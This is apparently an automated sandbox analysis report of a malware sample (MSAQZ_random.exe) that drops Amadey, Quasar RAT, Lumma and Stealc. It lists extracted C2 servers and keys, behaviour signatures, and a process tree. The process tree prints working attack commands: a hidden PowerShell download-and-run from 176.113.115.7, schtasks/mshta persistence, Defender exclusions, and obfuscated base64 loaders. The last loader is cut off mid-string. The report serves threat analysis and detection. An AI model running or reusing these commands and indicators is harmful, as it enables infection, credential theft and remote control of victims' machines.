Overview

overview

10

Static

static

5

MSAQZ_random.exe

windows7-x64

10

MSAQZ_random.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250314-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250314-enlocale:en-usos:windows10-2004-x64system
  • submitted
    29/03/2025, 13:38

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    MSAQZ_random.exe

  • Size

    938KB

  • MD5

    ed19338ae7b4f14a6300a82555194914

  • SHA1

    c4b17e900215a704197817f8d419b40a07d687e8

  • SHA256

    7b5bd878343c3cecaee575c5046401e677127e53682f1894067af020d3bab1fa

  • SHA512

    64fc35627f5790aa025d05515e8b353ed7825f0cfaf975304933d33b219ccbf7e8e41f9f83152a0a8315568b5195dbbb669d446f6a58f5d3f3a9b9937d16ddca

  • SSDEEP

    24576:9qDEvCTbMWu7rQYlBQcBiT6rprG8a0hu:9TvC/MTQYxsWR7a0h

Score
10/10
amadeylummaquasarstealc092155office04trumpdefense_evasiondiscoveryexecutionpersistencespywarestealertrojanupx

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Family

amadey

Version

5.21

Botnet

092155

C2

http://176.113.115.6

Attributes
  • install_dir

    bb556cff4a

  • install_file

    rapes.exe

  • strings_key

    a131b127e996a898cd19ffb2d92e481b

  • url_paths

    /Ni9kiput/index.php

rc4.plain

Extracted

Family

quasar

Version

1.5.0

Botnet

Office04

C2

goku92ad.zapto.org:5000

Mutex

a0766e5c-a1d1-4766-a1f5-4e4f9f9fe35a

Attributes
  • encryption_key

    BF72099FDBC6B48816529089CF1CF2CF86357D14

  • install_name

    Client.exe

  • log_directory

    Logs

  • reconnect_delay

    3000

  • startup_key

    Quasar Modded Client Startup

  • subdirectory

    SubDir

Extracted

Family

lumma

C2

https://esccapewz.run/ANSbwqy

https://travewlio.shop/ZNxbHi

https://touvrlane.bet/ASKwjq

https://sighbtseeing.shop/ASJnzh

https://advennture.top/GKsiio

https://targett.top/dsANGt

https://holidamyup.today/AOzkns

https://mtriplooqp.world/APowko

https://wxayfarer.live/ALosnz

https://70oreheatq.live/gsopp

https://0castmaxw.run/ganzde

https://weldorae.digital/geds

https://steelixr.live/aguiz

https://smeltingt.run/giiaus

https://ferromny.digital/gwpd

Extracted

Family

stealc

Botnet

trump

C2

http://45.93.20.28

Attributes
  • url_path

    /85a1cacf11314eb8.php

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

    trojanamadey
  • Amadey family
    amadey
  • Lumma Stealer, LummaC

    Lumma or LummaC is an infostealer written in C++ first seen in August 2022.

    stealerlumma
  • Lumma family
    lumma
  • Quasar RAT

    Quasar is an open source Remote Access Tool.

    trojanspywarequasar
  • Quasar family
    quasar
  • Quasar payload 2 IoCs
  • Stealc

    Stealc is an infostealer written in C++.

    stealerstealc
  • Stealc family
    stealc
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 5 IoCs
    defense_evasion
  • Blocklisted process makes network request 4 IoCs
  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 2 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

    Run Powershell and hide display window.

    execution
  • Downloads MZ/PE file 5 IoCs
  • Checks BIOS information in registry 2 TTPs 10 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 4 IoCs
  • Executes dropped EXE 7 IoCs
  • Identifies Wine through registry keys 2 TTPs 5 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    defense_evasion
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

    spywarestealer
  • Adds Run key to start application 2 TTPs 3 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • AutoIT Executable 1 IoCs

    AutoIT scripts compiled to PE executables.

  • Drops file in System32 directory 3 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 5 IoCs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 31 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks processor information in registry 2 TTPs 4 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Kills process with taskkill 5 IoCs
    defense_evasion
  • Modifies registry class 2 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 36 IoCs
  • Suspicious use of AdjustPrivilegeToken 11 IoCs
  • Suspicious use of FindShellTrayWindow 12 IoCs
  • Suspicious use of SendNotifyMessage 10 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3424
      • C:\Users\Admin\AppData\Local\Temp\MSAQZ_random.exe
        "C:\Users\Admin\AppData\Local\Temp\MSAQZ_random.exe"
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        • Suspicious use of WriteProcessMemory
        PID:2328
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c schtasks /create /tn HpHKNmatVl2 /tr "mshta C:\Users\Admin\AppData\Local\Temp\l2lAKvTWX.hta" /sc minute /mo 25 /ru "Admin" /f
          3⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:4764
          • C:\Windows\SysWOW64\schtasks.exe
            schtasks /create /tn HpHKNmatVl2 /tr "mshta C:\Users\Admin\AppData\Local\Temp\l2lAKvTWX.hta" /sc minute /mo 25 /ru "Admin" /f
            4⤵
            • System Location Discovery: System Language Discovery
            • Scheduled Task/Job: Scheduled Task
            PID:4908
        • C:\Windows\SysWOW64\mshta.exe
          mshta C:\Users\Admin\AppData\Local\Temp\l2lAKvTWX.hta
          3⤵
          • Checks computer location settings
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:3840
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'GNGMXVZL018KNZFOI1GXGP6HYUIIOA7J.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
            4⤵
            • Blocklisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • Downloads MZ/PE file
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:1052
            • C:\Users\Admin\AppData\Local\TempGNGMXVZL018KNZFOI1GXGP6HYUIIOA7J.EXE
              "C:\Users\Admin\AppData\Local\TempGNGMXVZL018KNZFOI1GXGP6HYUIIOA7J.EXE"
              5⤵
              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
              • Checks BIOS information in registry
              • Checks computer location settings
              • Executes dropped EXE
              • Identifies Wine through registry keys
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • Drops file in Windows directory
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of WriteProcessMemory
              PID:1012
              • C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
                "C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"
                6⤵
                • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                • Downloads MZ/PE file
                • Checks BIOS information in registry
                • Checks computer location settings
                • Executes dropped EXE
                • Identifies Wine through registry keys
                • Adds Run key to start application
                • Suspicious use of NtSetInformationThreadHideFromDebugger
                • System Location Discovery: System Language Discovery
                • Modifies registry class
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of WriteProcessMemory
                PID:3376
                • C:\Windows\SysWOW64\cmd.exe
                  "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\10369541121\8BNn7ce.cmd"
                  7⤵
                  • System Location Discovery: System Language Discovery
                  • Suspicious use of WriteProcessMemory
                  PID:2244
                  • C:\Windows\SysWOW64\cmd.exe
                    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\10369541121\8BNn7ce.cmd"
                    8⤵
                    • System Location Discovery: System Language Discovery
                    • Suspicious use of WriteProcessMemory
                    PID:3984
                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('DQoNCiR2bWVhcnAgPSBAJw0KJHVzZXJ4Z3dOYW1lIHhndz0gJGVueGd3djpVU0V4Z3dSTkFNRXhndzskdGlzeGd3ID0gIkN4Z3c6XFVzZXhnd3JzXCR1eGd3c2VyTmF4Z3dtZVxkd3hnd20uYmF0eGd3IjtpZiB4Z3coVGVzdHhndy1QYXRoeGd3ICR0aXN4Z3cpIHsgIHhndyAgV3JpeGd3dGUtSG94Z3dzdCAiQnhnd2F0Y2ggeGd3ZmlsZSB4Z3dmb3VuZHhndzogJHRpeGd3cyIgLUZ4Z3dvcmVncnhnd291bmRDeGd3b2xvciB4Z3dDeWFuO3hndyAgICAkeGd3ZmlsZUx4Z3dpbmVzIHhndz0gW1N5eGd3c3RlbS54Z3dJTy5GaXhnd2xlXTo6eGd3UmVhZEF4Z3dsbExpbnhnd2VzKCR0eGd3aXMsIFt4Z3dTeXN0ZXhnd20uVGV4eGd3dC5FbmN4Z3dvZGluZ3hnd106OlVUeGd3RjgpOyB4Z3cgICBmb3hnd3JlYWNoeGd3ICgkbGl4Z3duZSBpbnhndyAkZmlseGd3ZUxpbmV4Z3dzKSB7IHhndyAgICAgeGd3ICBpZiB4Z3coJGxpbnhnd2UgLW1heGd3dGNoICd4Z3deOjo6IHhndz8oLispeGd3JCcpIHt4Z3cgICAgIHhndyAgICAgeGd3ICBXcml4Z3d0ZS1Ib3hnd3N0ICJJeGd3bmplY3R4Z3dpb24gY3hnd29kZSBkeGd3ZXRlY3R4Z3dlZCBpbnhndyB0aGUgeGd3YmF0Y2h4Z3cgZmlsZXhndy4iIC1GeGd3b3JlZ3J4Z3dvdW5kQ3hnd29sb3IgeGd3Q3lhbjt4Z3cgICAgIHhndyAgICAgeGd3ICB0cnl4Z3cgeyAgIHhndyAgICAgeGd3ICAgICB4Z3cgICAkZHhnd2Vjb2RleGd3ZEJ5dGV4Z3dzID0gW3hnd1N5c3RleGd3bS5Db254Z3d2ZXJ0XXhndzo6RnJveGd3bUJhc2V4Z3c2NFN0cnhnd2luZygkeGd3bWF0Y2h4Z3dlc1sxXXhndy5UcmlteGd3KCkpOyB4Z3cgICAgIHhndyAgICAgeGd3ICAgICB4Z3ckaW5qZXhnd2N0aW9ueGd3Q29kZSB4Z3c9IFtTeXhnd3N0ZW0ueGd3VGV4dC54Z3dFbmNvZHhnd2luZ106eGd3OlVuaWN4Z3dvZGUuR3hnd2V0U3RyeGd3aW5nKCR4Z3dkZWNvZHhnd2VkQnl0eGd3ZXMpOyB4Z3cgICAgIHhndyAgICAgeGd3ICAgICB4Z3dXcml0ZXhndy1Ib3N0eGd3ICJJbmp4Z3dlY3Rpb3hnd24gY29keGd3ZSBkZWN4Z3dvZGVkIHhnd3N1Y2NleGd3c3NmdWx4Z3dseS4iIHhndy1Gb3JleGd3Z3JvdW54Z3dkQ29sb3hnd3IgR3JleGd3ZW47ICB4Z3cgICAgIHhndyAgICAgeGd3ICAgIFd4Z3dyaXRlLXhnd0hvc3QgeGd3IkV4ZWN4Z3d1dGluZ3hndyBpbmpleGd3Y3Rpb254Z3cgY29kZXhndy4uLiIgeGd3LUZvcmV4Z3dncm91bnhnd2RDb2xveGd3ciBZZWx4Z3dsb3c7IHhndyAgICAgeGd3ICAgICB4Z3cgICAgIHhnd0ludm9reGd3ZS1FeHB4Z3dyZXNzaXhnd29uICRpeGd3bmplY3R4Z3dpb25Db3hnd2RlOyAgeGd3ICAgICB4Z3cgICAgIHhndyAgICBieGd3cmVhazt4Z3cgICAgIHhndyAgICAgeGd3ICB9IGN4Z3dhdGNoIHhnd3sgICAgeGd3ICAgICB4Z3cgICAgIHhndyAgV3JpeGd3dGUtSG94Z3dzdCAiRXhnd3Jyb3IgeGd3ZHVyaW54Z3dnIGRlY3hnd29kaW5neGd3IG9yIGV4Z3d4ZWN1dHhnd2luZyBpeGd3bmplY3R4Z3dpb24gY3hnd29kZTogeGd3JF8iIC14Z3dGb3JlZ3hnd3JvdW5keGd3Q29sb3J4Z3cgUmVkO3hndyAgICAgeGd3ICAgICB4Z3cgIH07IHhndyAgICAgeGd3ICB9OyB4Z3cgICB9O3hnd30gZWxzeGd3ZSB7ICB4Z3cgICAgV3hnd3JpdGUteGd3SG9zdCB4Z3ciU3lzdHhnd2VtIEVyeGd3cm9yOiB4Z3dCYXRjaHhndyBmaWxleGd3IG5vdCB4Z3dmb3VuZHhndzogJHRpeGd3cyIgLUZ4Z3dvcmVncnhnd291bmRDeGd3b2xvciB4Z3dSZWQ7IHhndyAgIGV4eGd3aXQ7fTt4Z3dmdW5jdHhnd2lvbiBweGd3c29nbCh4Z3ckcGFyYXhnd21fdmFyeGd3KXsJJGF4Z3dlc192YXhnd3I9W1N5eGd3c3RlbS54Z3dTZWN1cnhnd2l0eS5DeGd3cnlwdG94Z3dncmFwaHhnd3kuQWVzeGd3XTo6Q3J4Z3dlYXRlKHhndyk7CSRheGd3ZXNfdmF4Z3dyLk1vZHhnd2U9W1N5eGd3c3RlbS54Z3dTZWN1cnhnd2l0eS5DeGd3cnlwdG94Z3dncmFwaHhnd3kuQ2lweGd3aGVyTW94Z3dkZV06Onhnd0NCQzsJeGd3JGFlc194Z3d2YXIuUHhnd2FkZGlueGd3Zz1bU3l4Z3dzdGVtLnhnd1NlY3VyeGd3aXR5LkN4Z3dyeXB0b3hnd2dyYXBoeGd3eS5QYWR4Z3dkaW5nTXhnd29kZV06eGd3OlBLQ1N4Z3c3OwkkYXhnd2VzX3ZheGd3ci5LZXl4Z3c9W1N5c3hnd3RlbS5DeGd3b252ZXJ4Z3d0XTo6Rnhnd3JvbUJheGd3c2U2NFN4Z3d0cmluZ3hndygnVUNEeGd3ZFZ6U3Z4Z3dDMUNvOXhnd1VWb1B1eGd3RXRvVWR4Z3duNzZsQ3hndytPV0tJeGd3OG5qRGV4Z3dxTDZ4MHhndz0nKTsJeGd3JGFlc194Z3d2YXIuSXhnd1Y9W1N5eGd3c3RlbS54Z3dDb252ZXhnd3J0XTo6eGd3RnJvbUJ4Z3dhc2U2NHhnd1N0cmlueGd3ZygnK2F4Z3cvRHp3NHhnd1ZRR1g3eGd3L1J0Y0h4Z3dQQkpWd3hndz09Jyk7eGd3CSRkZWN4Z3dyeXB0b3hnd3JfdmFyeGd3PSRhZXN4Z3dfdmFyLnhnd0NyZWF0eGd3ZURlY3J4Z3d5cHRvcnhndygpOwkkeGd3cmV0dXJ4Z3duX3Zhcnhndz0kZGVjeGd3cnlwdG94Z3dyX3Zhcnhndy5UcmFueGd3c2Zvcm14Z3dGaW5hbHhnd0Jsb2NreGd3KCRwYXJ4Z3dhbV92YXhnd3IsIDAseGd3ICRwYXJ4Z3dhbV92YXhnd3IuTGVueGd3Z3RoKTt4Z3cJJGRlY3hnd3J5cHRveGd3cl92YXJ4Z3cuRGlzcHhnd29zZSgpeGd3OwkkYWV4Z3dzX3Zhcnhndy5EaXNweGd3b3NlKCl4Z3c7CSRyZXhnd3R1cm5feGd3dmFyO314Z3dmdW5jdHhnd2lvbiBzeGd3dGF4cCh4Z3ckcGFyYXhnd21fdmFyeGd3KXsJJGh4Z3dwaGM9Tnhnd2V3LU9ieGd3amVjdCB4Z3dTeXN0ZXhnd20uSU8ueGd3TWVtb3J4Z3d5U3RyZXhnd2FtKCwkeGd3cGFyYW14Z3dfdmFyKXhndzsJJGlzeGd3d2hiPU54Z3dldy1PYnhnd2plY3QgeGd3U3lzdGV4Z3dtLklPLnhnd01lbW9yeGd3eVN0cmV4Z3dhbTsJJHhnd2Zsc2l6eGd3PU5ldy14Z3dPYmplY3hnd3QgU3lzeGd3dGVtLkl4Z3dPLkNvbXhnd3ByZXNzeGd3aW9uLkd4Z3daaXBTdHhnd3JlYW0oeGd3JGhwaGN4Z3csIFtJT3hndy5Db21weGd3cmVzc2l4Z3dvbi5Db3hnd21wcmVzeGd3c2lvbk14Z3dvZGVdOnhndzpEZWNveGd3bXByZXN4Z3dzKTsJJHhnd2Zsc2l6eGd3LkNvcHl4Z3dUbygkaXhnd3N3aGIpeGd3OwkkZmx4Z3dzaXouRHhnd2lzcG9zeGd3ZSgpOwl4Z3ckaHBoY3hndy5EaXNweGd3b3NlKCl4Z3c7CSRpc3hnd3doYi5EeGd3aXNwb3N4Z3dlKCk7CXhndyRpc3doeGd3Yi5Ub0F4Z3dycmF5KHhndyk7fWZ1eGd3bmN0aW94Z3duIGhlenhnd2d4KCRweGd3YXJhbV94Z3d2YXIsJHhnd3BhcmFteGd3Ml92YXJ4Z3cpewkkbnhnd3g9W1N5eGd3c3RlbS54Z3dSZWZsZXhnd2N0aW9ueGd3LkFzc2V4Z3dtYmx5XXhndzo6KCdkeGd3YW9MJ1t4Z3ctMS4uLXhndzRdIC1qeGd3b2luICd4Z3cnKShbYnhnd3l0ZVtdeGd3XSRwYXJ4Z3dhbV92YXhnd3IpOwkkeGd3bGF6PSR4Z3dueC5Fbnhnd3RyeVBveGd3aW50Owl4Z3ckbGF6Lnhnd0ludm9reGd3ZSgkbnV4Z3dsbCwgJHhnd3BhcmFteGd3Ml92YXJ4Z3cpO30kaHhnd29zdC5VeGd3SS5SYXd4Z3dVSS5XaXhnd25kb3dUeGd3aXRsZSB4Z3c9ICR0aXhnd3M7JGxveGd3Zj1bU3l4Z3dzdGVtLnhnd0lPLkZpeGd3bGVdOjp4Z3coJ3R4ZXhnd1RsbEFkeGd3YWVSJ1t4Z3ctMS4uLXhndzExXSAteGd3am9pbiB4Z3cnJykoJHhnd3RpcykueGd3U3BsaXR4Z3coW0Vudnhnd2lyb25teGd3ZW50XTp4Z3c6TmV3THhnd2luZSk7eGd3Zm9yZWF4Z3djaCAoJHhnd3pwamxweGd3IGluICR4Z3dsb2YpIHhnd3sJaWYgeGd3KCR6cGp4Z3dscC5TdHhnd2FydHNXeGd3aXRoKCd4Z3c6OiAnKXhndykJewkJeGd3JGdxYnN4Z3c9JHpwanhnd2xwLlN1eGd3YnN0cml4Z3duZygzKXhndzsJCWJyeGd3ZWFrOwl4Z3d9fSRpdXhnd3A9W3N0eGd3cmluZ1t4Z3ddXSRncXhnd2JzLlNweGd3bGl0KCd4Z3dcJyk7JHhnd25sdD1zeGd3dGF4cCB4Z3cocHNvZ3hnd2wgKFtDeGd3b252ZXJ4Z3d0XTo6Rnhnd3JvbUJheGd3c2U2NFN4Z3d0cmluZ3hndygkaXVweGd3WzBdKSl4Z3cpOyRqZXhnd2J0PXN0eGd3YXhwICh4Z3dwc29nbHhndyAoW0NveGd3bnZlcnR4Z3ddOjpGcnhnd29tQmFzeGd3ZTY0U3R4Z3dyaW5nKHhndyRpdXBbeGd3MV0pKSl4Z3c7aGV6Z3hnd3ggJG5seGd3dCAkbnV4Z3dsbDtoZXhnd3pneCAkeGd3amVidCB4Z3coLFtzdHhnd3JpbmdbeGd3XV0gKCd4Z3clKicpKXhndzsNCidADQoNCiRybGpmcnAgPSAkdm1lYXJwIC1yZXBsYWNlICd4Z3cnLCAnJw0KDQpJbnZva2UtRXhwcmVzc2lvbiAkcmxqZnJwDQo=')) | Invoke-Expression"
                      9⤵
                      • Blocklisted process makes network request
                      • Command and Scripting Interpreter: PowerShell
                      • Drops startup file
                      • System Location Discovery: System Language Discovery
                      • Suspicious behavior: AddClipboardFormatListener
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      • Suspicious use of WriteProcessMemory
                      PID:3624
                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\'
                        10⤵
                        • Command and Scripting Interpreter: PowerShell
                        • System Location Discovery: System Language Discovery
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        PID:1600
                      • C:\Windows\SysWOW64\cmd.exe
                        "cmd" /K CHCP 437
                        10⤵
                        • System Location Discovery: System Language Discovery
                        • Suspicious use of WriteProcessMemory
                        PID:4840
                        • C:\Windows\SysWOW64\chcp.com
                          CHCP 437
                          11⤵
                          • System Location Discovery: System Language Discovery
                          PID:4804
                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                          powershell -Command "Add-MpPreference -ExclusionPath 'C:'"
                          11⤵
                          • Command and Scripting Interpreter: PowerShell
                          • System Location Discovery: System Language Discovery
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          PID:2292
                      • C:\Users\Admin\AppData\Local\Temp\57eWcAIlxwDt.exe
                        "C:\Users\Admin\AppData\Local\Temp\57eWcAIlxwDt.exe"
                        10⤵
                        • Boot or Logon Autostart Execution: Active Setup
                        • Executes dropped EXE
                        • Drops file in System32 directory
                        • System Location Discovery: System Language Discovery
                        • Suspicious use of FindShellTrayWindow
                        PID:4556
                        • C:\Windows\SysWOW64\explorer.exe
                          explorer.exe
                          11⤵
                          • System Location Discovery: System Language Discovery
                          PID:1392
                        • C:\Windows\SysWOW64\dllhost.exe
                          "C:\Windows\System32\dllhost.exe"
                          11⤵
                            PID:2244
                  • C:\Windows\SysWOW64\cmd.exe
                    "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\10369551121\8BNn7ce.cmd"
                    7⤵
                    • System Location Discovery: System Language Discovery
                    • Suspicious use of WriteProcessMemory
                    PID:1912
                    • C:\Windows\SysWOW64\cmd.exe
                      C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\10369551121\8BNn7ce.cmd"
                      8⤵
                      • System Location Discovery: System Language Discovery
                      • Suspicious use of WriteProcessMemory
                      PID:4100
                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('DQoNCiR2bWVhcnAgPSBAJw0KJHVzZXJ4Z3dOYW1lIHhndz0gJGVueGd3djpVU0V4Z3dSTkFNRXhndzskdGlzeGd3ID0gIkN4Z3c6XFVzZXhnd3JzXCR1eGd3c2VyTmF4Z3dtZVxkd3hnd20uYmF0eGd3IjtpZiB4Z3coVGVzdHhndy1QYXRoeGd3ICR0aXN4Z3cpIHsgIHhndyAgV3JpeGd3dGUtSG94Z3dzdCAiQnhnd2F0Y2ggeGd3ZmlsZSB4Z3dmb3VuZHhndzogJHRpeGd3cyIgLUZ4Z3dvcmVncnhnd291bmRDeGd3b2xvciB4Z3dDeWFuO3hndyAgICAkeGd3ZmlsZUx4Z3dpbmVzIHhndz0gW1N5eGd3c3RlbS54Z3dJTy5GaXhnd2xlXTo6eGd3UmVhZEF4Z3dsbExpbnhnd2VzKCR0eGd3aXMsIFt4Z3dTeXN0ZXhnd20uVGV4eGd3dC5FbmN4Z3dvZGluZ3hnd106OlVUeGd3RjgpOyB4Z3cgICBmb3hnd3JlYWNoeGd3ICgkbGl4Z3duZSBpbnhndyAkZmlseGd3ZUxpbmV4Z3dzKSB7IHhndyAgICAgeGd3ICBpZiB4Z3coJGxpbnhnd2UgLW1heGd3dGNoICd4Z3deOjo6IHhndz8oLispeGd3JCcpIHt4Z3cgICAgIHhndyAgICAgeGd3ICBXcml4Z3d0ZS1Ib3hnd3N0ICJJeGd3bmplY3R4Z3dpb24gY3hnd29kZSBkeGd3ZXRlY3R4Z3dlZCBpbnhndyB0aGUgeGd3YmF0Y2h4Z3cgZmlsZXhndy4iIC1GeGd3b3JlZ3J4Z3dvdW5kQ3hnd29sb3IgeGd3Q3lhbjt4Z3cgICAgIHhndyAgICAgeGd3ICB0cnl4Z3cgeyAgIHhndyAgICAgeGd3ICAgICB4Z3cgICAkZHhnd2Vjb2RleGd3ZEJ5dGV4Z3dzID0gW3hnd1N5c3RleGd3bS5Db254Z3d2ZXJ0XXhndzo6RnJveGd3bUJhc2V4Z3c2NFN0cnhnd2luZygkeGd3bWF0Y2h4Z3dlc1sxXXhndy5UcmlteGd3KCkpOyB4Z3cgICAgIHhndyAgICAgeGd3ICAgICB4Z3ckaW5qZXhnd2N0aW9ueGd3Q29kZSB4Z3c9IFtTeXhnd3N0ZW0ueGd3VGV4dC54Z3dFbmNvZHhnd2luZ106eGd3OlVuaWN4Z3dvZGUuR3hnd2V0U3RyeGd3aW5nKCR4Z3dkZWNvZHhnd2VkQnl0eGd3ZXMpOyB4Z3cgICAgIHhndyAgICAgeGd3ICAgICB4Z3dXcml0ZXhndy1Ib3N0eGd3ICJJbmp4Z3dlY3Rpb3hnd24gY29keGd3ZSBkZWN4Z3dvZGVkIHhnd3N1Y2NleGd3c3NmdWx4Z3dseS4iIHhndy1Gb3JleGd3Z3JvdW54Z3dkQ29sb3hnd3IgR3JleGd3ZW47ICB4Z3cgICAgIHhndyAgICAgeGd3ICAgIFd4Z3dyaXRlLXhnd0hvc3QgeGd3IkV4ZWN4Z3d1dGluZ3hndyBpbmpleGd3Y3Rpb254Z3cgY29kZXhndy4uLiIgeGd3LUZvcmV4Z3dncm91bnhnd2RDb2xveGd3ciBZZWx4Z3dsb3c7IHhndyAgICAgeGd3ICAgICB4Z3cgICAgIHhnd0ludm9reGd3ZS1FeHB4Z3dyZXNzaXhnd29uICRpeGd3bmplY3R4Z3dpb25Db3hnd2RlOyAgeGd3ICAgICB4Z3cgICAgIHhndyAgICBieGd3cmVhazt4Z3cgICAgIHhndyAgICAgeGd3ICB9IGN4Z3dhdGNoIHhnd3sgICAgeGd3ICAgICB4Z3cgICAgIHhndyAgV3JpeGd3dGUtSG94Z3dzdCAiRXhnd3Jyb3IgeGd3ZHVyaW54Z3dnIGRlY3hnd29kaW5neGd3IG9yIGV4Z3d4ZWN1dHhnd2luZyBpeGd3bmplY3R4Z3dpb24gY3hnd29kZTogeGd3JF8iIC14Z3dGb3JlZ3hnd3JvdW5keGd3Q29sb3J4Z3cgUmVkO3hndyAgICAgeGd3ICAgICB4Z3cgIH07IHhndyAgICAgeGd3ICB9OyB4Z3cgICB9O3hnd30gZWxzeGd3ZSB7ICB4Z3cgICAgV3hnd3JpdGUteGd3SG9zdCB4Z3ciU3lzdHhnd2VtIEVyeGd3cm9yOiB4Z3dCYXRjaHhndyBmaWxleGd3IG5vdCB4Z3dmb3VuZHhndzogJHRpeGd3cyIgLUZ4Z3dvcmVncnhnd291bmRDeGd3b2xvciB4Z3dSZWQ7IHhndyAgIGV4eGd3aXQ7fTt4Z3dmdW5jdHhnd2lvbiBweGd3c29nbCh4Z3ckcGFyYXhnd21fdmFyeGd3KXsJJGF4Z3dlc192YXhnd3I9W1N5eGd3c3RlbS54Z3dTZWN1cnhnd2l0eS5DeGd3cnlwdG94Z3dncmFwaHhnd3kuQWVzeGd3XTo6Q3J4Z3dlYXRlKHhndyk7CSRheGd3ZXNfdmF4Z3dyLk1vZHhnd2U9W1N5eGd3c3RlbS54Z3dTZWN1cnhnd2l0eS5DeGd3cnlwdG94Z3dncmFwaHhnd3kuQ2lweGd3aGVyTW94Z3dkZV06Onhnd0NCQzsJeGd3JGFlc194Z3d2YXIuUHhnd2FkZGlueGd3Zz1bU3l4Z3dzdGVtLnhnd1NlY3VyeGd3aXR5LkN4Z3dyeXB0b3hnd2dyYXBoeGd3eS5QYWR4Z3dkaW5nTXhnd29kZV06eGd3OlBLQ1N4Z3c3OwkkYXhnd2VzX3ZheGd3ci5LZXl4Z3c9W1N5c3hnd3RlbS5DeGd3b252ZXJ4Z3d0XTo6Rnhnd3JvbUJheGd3c2U2NFN4Z3d0cmluZ3hndygnVUNEeGd3ZFZ6U3Z4Z3dDMUNvOXhnd1VWb1B1eGd3RXRvVWR4Z3duNzZsQ3hndytPV0tJeGd3OG5qRGV4Z3dxTDZ4MHhndz0nKTsJeGd3JGFlc194Z3d2YXIuSXhnd1Y9W1N5eGd3c3RlbS54Z3dDb252ZXhnd3J0XTo6eGd3RnJvbUJ4Z3dhc2U2NHhnd1N0cmlueGd3ZygnK2F4Z3cvRHp3NHhnd1ZRR1g3eGd3L1J0Y0h4Z3dQQkpWd3hndz09Jyk7eGd3CSRkZWN4Z3dyeXB0b3hnd3JfdmFyeGd3PSRhZXN4Z3dfdmFyLnhnd0NyZWF0eGd3ZURlY3J4Z3d5cHRvcnhndygpOwkkeGd3cmV0dXJ4Z3duX3Zhcnhndz0kZGVjeGd3cnlwdG94Z3dyX3Zhcnhndy5